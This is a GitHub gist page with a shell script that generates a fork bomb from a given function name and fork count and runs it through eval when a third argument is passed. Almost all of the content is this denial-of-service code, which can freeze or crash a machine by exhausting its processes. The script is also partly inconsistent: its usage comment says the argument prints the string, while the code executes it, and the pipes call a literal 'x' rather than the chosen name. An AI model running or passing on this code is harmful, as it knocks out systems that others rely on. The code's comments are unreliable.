Created
March 14, 2023 21:40
-
-
Save Wind010/13f068a318a60712beec2b79385201a1 to your computer and use it in GitHub Desktop.
Create shell fork bomb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# Usage: create_fork_bomb <function_name> <number_of_forks> <execute> | |
# The <execute> argument is option and will print out the fork bomb string instead of evaluating it. | |
create_fork_bomb() { | |
fn_name=$1 | |
n=$2 | |
run=$3 | |
if (($n < 2)); then n=2; fi | |
for (( i=0; i<=$n; i++ )); do str="${str}|x"; done | |
f_bomb="${fn_name}(){ ${fn_name}${str}& };${fn_name}" | |
if [ -z $run ]; then echo $f_bomb; else eval $f_bomb; fi | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment